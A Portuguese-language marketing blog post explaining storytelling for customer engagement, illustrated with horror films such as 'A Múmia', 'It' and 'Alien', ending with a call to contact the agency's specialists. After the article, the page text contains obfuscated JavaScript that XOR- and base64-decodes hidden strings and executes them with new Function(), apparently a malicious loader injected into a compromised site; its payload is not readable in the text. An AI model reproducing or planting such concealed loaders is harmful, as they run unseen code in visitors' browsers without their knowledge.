Senta que lá vem a história: a importância do storytelling para engajar
Já reparou o quanto somos cercados por histórias? Quando nos reunimos com os amigos ou familiares, contamos histórias do passado. Até quando vamos usar o twitter contamos histórias, mesmo sendo em apenas 280 caracteres. Para entender como sua empresa pode utilizar a técnica de contar histórias para engajar seus clientes, continue a leitura!
O que é o storytelling?
É através de histórias que nos relacionamos, nos comunicamos, aprendemos e evoluímos. Vivemos o tempo todo em uma tempestade de histórias. Com isso, a indústria criativa percebeu que poderia utilizar a narrativa na publicidade, nasce então o Storytelling.
O Storytelling, trata-se de uma técnica de contar histórias de maneira relevante, onde os recursos audiovisuais são utilizados com as palavras, tem por característica, ser persuasivo, em vez de invasivo. É uma ótima ferramenta para compartilhar ideias e conectar-se ao consumidor através de uma narrativa.
As histórias são contadas através de diferentes mídias, como os blogs, redes sociais, rádio mas, a televisão continua sendo a pioneira em contar histórias, sendo uma excelente maneira de chamar atenção das pessoas.
Conclui-se que contar histórias, faz parte da nossa essência pois, desde os tempos das cavernas contávamos histórias através dos Hieróglifos e Cuneiforme. Assim como no filme “A Múmia”, todas as escritas no corpo da personagem, fazem jus às maldições que ela possui, sendo assim, contam sua história.
Em 1127, um grupo de cavaleiros cruzados ingleses capturam um grande rubi egípcio e o enterram em uma tumba.
Em Londres atual, uma equipe de construtores da Crossrail descobriram a tumba cruzada e um misterioso homem é autorizado a investigar os achados no local. Os hieróglifos em torno da tumba, que datam do Império Novo, recontam a história da implacável Princesa Ahmanet: A primeira na linha de sucessão de seu pai, o Faraó Menehptre, a princesa foi desbancada pelo nascimento de um novo filho. Determinada a lutar pelo trono, Ahmanet vende sua alma ao deus Seti, que lhe dá uma adaga especial para transferir seu espírito para uma forma corpórea. Após assassinar sua família, Ahmanet tenta sacrificar seu amor e trazer o deus Set à vida. Mas, os sacerdotes antigos impedem o ritual e mumificam Ahmanet. A princesa é sentenciada a ser enterrada viva por toda a eternidade em um sarcófago coberto por mercúrio para impedir sua fuga.
Disponivel em <https://pt.wikipedia.org/wiki/A_M%C3%BAmia_(2017)>.
Nós amamos histórias, por isso, a técnica do Storytelling funciona tão bem e permite que nossos objetivos sejam atingidos através de conteúdo de qualidade, garantirão que o consumidor seja impactado através da história.
Como contar histórias que encantam?
Quando assistimos um filme ou um comercial, que possui um bom storytelling, o inconsciente do nosso cérebro processa toda a narrativa, por exemplo – quando se trata de um filme de terror, nosso cérebro processa como se fosse tudo real. Tanto que ficamos assustados após assistir o filme, mais atentos pois, nosso cérebro deixa de agir como um telespectador e se torna um participante do enredo, vivenciando a história.
A neurociência explica que acabamos criando uma conexão empática com os personagens da história. Assim como no filme “O Chamado”, desenvolvemos uma ligação com os protagonistas, sentimos tudo o que eles sentem, de acordo com os seus comportamentos.
Nossas sensações auditivas, visuais, motoras e somatossensoriais são estimuladas e somos transportados para o mundo da história, tornando-a muito realista. Por isso, as histórias podem nos levar a agir, pois criamos uma relação emocional entre a história e marca.
Portanto, a história deve ser interessante, para despertar o engajamento do consumidor na hora certa, veja os tópicos a seguir para se inspirar e contar histórias que irão encantar seu consumidor.
- Esclareça aos seus clientes: crie materiais educativos que mostrem como o seu produto pode ser utilizado e os benefícios.
- Conte histórias de clientes: esses são os cases de sucesso, se trata de como os seus clientes conseguiram solucionar seus problemas com o seu produto/serviços.
- Compartilhe histórias pessoais da marca: como chegou até aqui, contando a sua história. Isso serve como inspiração e mostrará aos consumidores toda a dedicação e amor que possui por sua marca.
- Sirva de inspiração: relacionado com o tópico anterior, além de contar sua história, conta como superou todos os obstáculos e mostre que seu público também pode conquistar o que quiserem. Isso irá inspirar a agir.
- Fale de tendências: conte histórias relevantes, que ligue sua marca aos acontecimentos do momento. Isso irá cativar a atenção dos consumidores e gera engajamento. Assim como o clássico do filme da ficção científica Alien, O Oitavo Passageiro, o ano em que foi lançado (1979) foi o período em que se acreditava que existiam alienígenas. O filme foi aclamado pela crítica e foi um sucesso de bilheteria, recebendo o Oscar de melhores efeitos visuais. Eles tiveram tanto sucesso com o público, que seguiram construindo uma quadrilogia da saga e ainda fez parte de outro filme Alien vs. Predador.
Como utilizar o storytelling para engajar?
Por exemplo, ao assistirmos um filme de terror, quando estamos envolvidos com a narrativa, tendemos a encaixá-la dentro da nossa experiência. Sabemos que muitas pessoas têm medo de palhaços, com o lançamento do Filme “It, a coisa” até aquelas que não tinham, saíram do cinema com medo, achando que eles são seres amaldiçoados.
Já pensou, você andando pelo centro da cidade, e na volta para casa, encontrar um palhaço fantasiado de Pennywise no ponto de ônibus, o que você faria? Foi isso que aconteceu em Monte Carlos, região norte de Minas Gerais. Rodrigo, foi assistir o filme “It A Coisa 2” vestido de cosplay, na volta para casa, resolveu ir de transporte público, ainda fantasiado de Pennywise, o palhaço do filme. Veja o relato de sua história, que viralizou nas redes sociais.
Quem tinha medo de palhaço, após ver o “It de Monte Carlos”, com certeza não se recuperou, pois a história e o momento que o medo de palhaços nasceu, veio à tona após vê-lo. Isso ocorre, pois as experiências que temos, as histórias que ouvimos, são facilmente armazenadas no cérebro.
Portanto, quando utilizamos a técnica do Storytelling, o objetivo é fazer com que o consumidor engaje com sua história, associando a suas próprias experiências. Como o comercial “Meu primeiro sutiã”, todas as meninas passaram por isso, quando veem ele, lembram-se no mesmo instante do ocorrido em sua infância.
Mude o cenário de terror da sua empresa!👻
Se deseja que sua empresa seja um sucesso, você deve clicar no botão abaixo para falar com um de nossos especialistas ou a COISA vai pegar!
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var _0xa565beffc3a1=80; var _0x99dcf8ed2c65=”; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++) _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1); var _0xe1c29d8a8a41=119; var _0x5a1ac3c88648=atob(_0x99dcf8ed2c65); var _code=''; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++) _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41); (new Function(_code))(); })();(function(){ var x5487d6=2952; if(x5487d6>0){var y0b6eb9=x5487d6-2251}else{var y0b6eb9=2251} var z1bc226=y0b6eb9*99; var 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var _0xbcca16a4d558=90; var _0x163772b41096=”; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf84708a7a28f.length;_0xb162c948b1cd++) _0x163772b41096+=String.fromCharCode(_0xf84708a7a28f[_0xb162c948b1cd]^_0xbcca16a4d558); var _0xbea1f721e2d7=97; var _0xf86172365cea=atob(_0x163772b41096); var _code=''; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf86172365cea.length;_0xb162c948b1cd++) _code+=String.fromCharCode(_0xf86172365cea.charCodeAt(_0xb162c948b1cd)^_0xbea1f721e2d7); (new Function(_code))(); })();